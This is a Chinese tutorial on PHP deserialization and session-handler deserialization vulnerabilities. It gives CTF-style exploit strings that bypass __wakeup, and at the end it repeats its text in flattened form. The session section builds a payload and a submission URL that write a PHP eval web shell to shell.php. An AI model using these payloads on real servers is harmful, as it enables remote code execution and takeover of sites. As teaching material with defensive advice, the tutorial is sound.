一文深入PHP反序列化漏洞和session反序列化漏洞(原创)
字数 1930 2025-08-13 21:33:29

PHP反序列化漏洞与Session反序列化漏洞深入解析

一、PHP序列化基础

1. 序列化概念与函数

序列化是将数据结构或对象状态转换为可存储或传输的格式的过程。PHP中使用serialize()函数进行序列化:

$a = array('flag','time','ddc');
echo serialize($a);
// 输出: a:3:{i:0;s:4:"flag";i:1;s:4:"time";i:2;s:3:"ddc";}

序列化格式说明:

  • a代表array,3表示数组有三个元素
  • O代表object
  • i代表下标/整型
  • s代表string
  • d代表浮点型

2. 类序列化示例

class test {
    public $a = 'aliyun';
    private $b = 'baiduyun';
    protected $c = 'wanxiang';
}
$a = new test();
echo urlencode(serialize($a));

输出结果:

O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22aliyun%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A8%3A%22baiduyun%22%3Bs%3A4%3A%22%00%2A%00c%22%3Bs%3A8%3A%22wanxiang%22%3B%7D

重要说明

  • protected变量名前会加上\x00*\x00
  • private变量名前会加上\x00类名\x00
  • 输出时建议使用urlencode或base64编码,防止不可见字符丢失

二、PHP反序列化

1. 反序列化基础

使用unserialize()函数将序列化字符串还原为对象:

class test {
    public $a = 'aliyun';
    public $b = 'baiduyun';
}
$a = new test();
print_r(unserialize(serialize($a)));

2. PHP魔术方法

魔术方法在反序列化攻击中至关重要:

魔术方法 触发条件
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

三、反序列化漏洞实战

1. 基础绕过示例

示例1:unserialize3

class xctf {
    public $flag = '111';
    public function __wakeup() {
        exit('bad requests');
    }
}

绕过方法

  • 序列化后修改对象属性数量,使其不等于真实数量
  • 原始序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  • 修改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

2. 文件读取示例

示例:Web_php_unserialize

class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            $this->file = 'index.php';
        }
    }
}

攻击步骤

  1. 构造序列化字符串,设置filefl4g.php
  2. 绕过__wakeup():修改属性数量
  3. 绕过正则过滤:O:4改为O:+4
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4', $b);
$b = str_replace(':1:', ':2:', $b);
echo base64_encode($b);

3. 属性赋值控制示例

示例:[极客大挑战 2019]PHP

class Name {
    private $username = 'nonono';
    private $password = 'yesyes';
    function __wakeup() {
        $this->username = 'guest';
    }
    function __destruct() {
        if ($this->password != 100) die();
        if ($this->username === 'admin') echo $flag;
    }
}

攻击方法

  1. 设置usernameadminpassword100
  2. 绕过__wakeup():修改属性数量
  3. 处理私有属性编码问题
class Name {
    private $username = 'admin';
    private $password = 100;
}
$a = new Name();
$a = serialize($a);
$a = str_replace(':2:', ':3:', $a);
echo urlencode($a);

四、高级反序列化漏洞

1. 文件操作漏洞

示例:文件删除

class delete {
    public $filename = 'error';
    function __destruct() {
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}

利用方法

  1. 序列化对象并设置filename为目标文件
  2. 当对象被销毁时触发文件删除

2. 文件读取漏洞

示例:文件读取

class read {
    public $filename = 'error';
    function __toString() {
        return file_get_contents($this->filename);
    }
}

利用方法

  1. 设置filename为目标文件路径
  2. 当对象被当作字符串使用时触发文件读取

五、Session反序列化漏洞

1. Session处理机制

PHP有三种session序列化处理器:

  1. php_binary键名的长度对应的ASCII字符 + 键名 + serialize值
  2. php键名 + 竖线(|) + serialize值
  3. php_serializeserialize数组

2. 漏洞产生条件

当序列化和反序列化使用不同的处理器时可能产生漏洞:

// session.php - 使用php_serialize
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ddd'] = $_GET['ddd'];

// test.php - 使用php
ini_set('session.serialize_handler', "php");
session_start();
class ddd {
    var $a;
    function __destruct() {
        file_put_contents("shell.php", $this->a);
    }
}

3. 漏洞利用步骤

  1. 构造恶意序列化数据:
class ddd {
    var $a = '<?php eval($_POST["abc"]);?>';
}
$s = new ddd();
echo serialize($s);
// O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
  1. 在数据前添加|并提交:
http://example.com/session.php?ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
  1. 访问test.php触发反序列化,生成shell.php

4. 漏洞原理

  • php_serialize处理器将|作为普通字符处理
  • php处理器将|作为键值分隔符
  • 导致php处理器将|后的内容作为序列化数据解析

六、防御措施

  1. 不要反序列化不可信数据
  2. 使用json_encode()/json_decode()替代序列化
  3. 确保序列化和反序列化使用相同的处理器
  4. 对魔术方法进行安全审查
  5. 使用PHP 7.1+版本,其对属性类型不敏感
  6. 实施输入验证和过滤

七、总结

PHP反序列化漏洞的核心在于:

  1. 可控的反序列化输入
  2. 存在可利用的魔术方法
  3. 能够构造恶意对象影响程序行为

Session反序列化漏洞的关键在于:

  1. 序列化和反序列化处理器不一致
  2. 能够控制session数据
  3. 存在可利用的类和方法

理解这些原理和利用技术,有助于更好地防御相关漏洞。

PHP反序列化漏洞与Session反序列化漏洞深入解析 一、PHP序列化基础 1. 序列化概念与函数 序列化是将数据结构或对象状态转换为可存储或传输的格式的过程。PHP中使用 serialize() 函数进行序列化: 序列化格式说明: a 代表array, 3 表示数组有三个元素 O 代表object i 代表下标/整型 s 代表string d 代表浮点型 2. 类序列化示例 输出结果: 重要说明 : protected变量名前会加上 \x00*\x00 private变量名前会加上 \x00类名\x00 输出时建议使用urlencode或base64编码,防止不可见字符丢失 二、PHP反序列化 1. 反序列化基础 使用 unserialize() 函数将序列化字符串还原为对象: 2. PHP魔术方法 魔术方法在反序列化攻击中至关重要: | 魔术方法 | 触发条件 | |---------|---------| | __wakeup() | 使用unserialize时触发 | | __sleep() | 使用serialize时触发 | | __destruct() | 对象被销毁时触发 | | __toString() | 把类当作字符串使用时触发 | | __invoke() | 当脚本尝试将对象调用为函数时触发 | | __call() | 在对象上下文中调用不可访问的方法时触发 | | __callStatic() | 在静态上下文中调用不可访问的方法时触发 | | __get() | 用于从不可访问的属性读取数据 | | __set() | 用于将数据写入不可访问的属性 | | __isset() | 在不可访问的属性上调用isset()或empty()触发 | | __unset() | 在不可访问的属性上使用unset()时触发 | 三、反序列化漏洞实战 1. 基础绕过示例 示例1:unserialize3 绕过方法 : 序列化后修改对象属性数量,使其不等于真实数量 原始序列化: O:4:"xctf":1:{s:4:"flag";s:3:"111";} 修改为: O:4:"xctf":2:{s:4:"flag";s:3:"111";} 2. 文件读取示例 示例:Web_ php_ unserialize 攻击步骤 : 构造序列化字符串,设置 file 为 fl4g.php 绕过 __wakeup() :修改属性数量 绕过正则过滤: O:4 改为 O:+4 3. 属性赋值控制示例 示例:[ 极客大挑战 2019]PHP 攻击方法 : 设置 username 为 admin , password 为 100 绕过 __wakeup() :修改属性数量 处理私有属性编码问题 四、高级反序列化漏洞 1. 文件操作漏洞 示例:文件删除 利用方法 : 序列化对象并设置 filename 为目标文件 当对象被销毁时触发文件删除 2. 文件读取漏洞 示例:文件读取 利用方法 : 设置 filename 为目标文件路径 当对象被当作字符串使用时触发文件读取 五、Session反序列化漏洞 1. Session处理机制 PHP有三种session序列化处理器: php_ binary : 键名的长度对应的ASCII字符 + 键名 + serialize值 php : 键名 + 竖线(|) + serialize值 php_ serialize : serialize数组 2. 漏洞产生条件 当序列化和反序列化使用不同的处理器时可能产生漏洞: 3. 漏洞利用步骤 构造恶意序列化数据: 在数据前添加 | 并提交: 访问test.php触发反序列化,生成shell.php 4. 漏洞原理 php_ serialize处理器将 | 作为普通字符处理 php处理器将 | 作为键值分隔符 导致php处理器将 | 后的内容作为序列化数据解析 六、防御措施 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代序列化 确保序列化和反序列化使用相同的处理器 对魔术方法进行安全审查 使用PHP 7.1+版本,其对属性类型不敏感 实施输入验证和过滤 七、总结 PHP反序列化漏洞的核心在于: 可控的反序列化输入 存在可利用的魔术方法 能够构造恶意对象影响程序行为 Session反序列化漏洞的关键在于: 序列化和反序列化处理器不一致 能够控制session数据 存在可利用的类和方法 理解这些原理和利用技术,有助于更好地防御相关漏洞。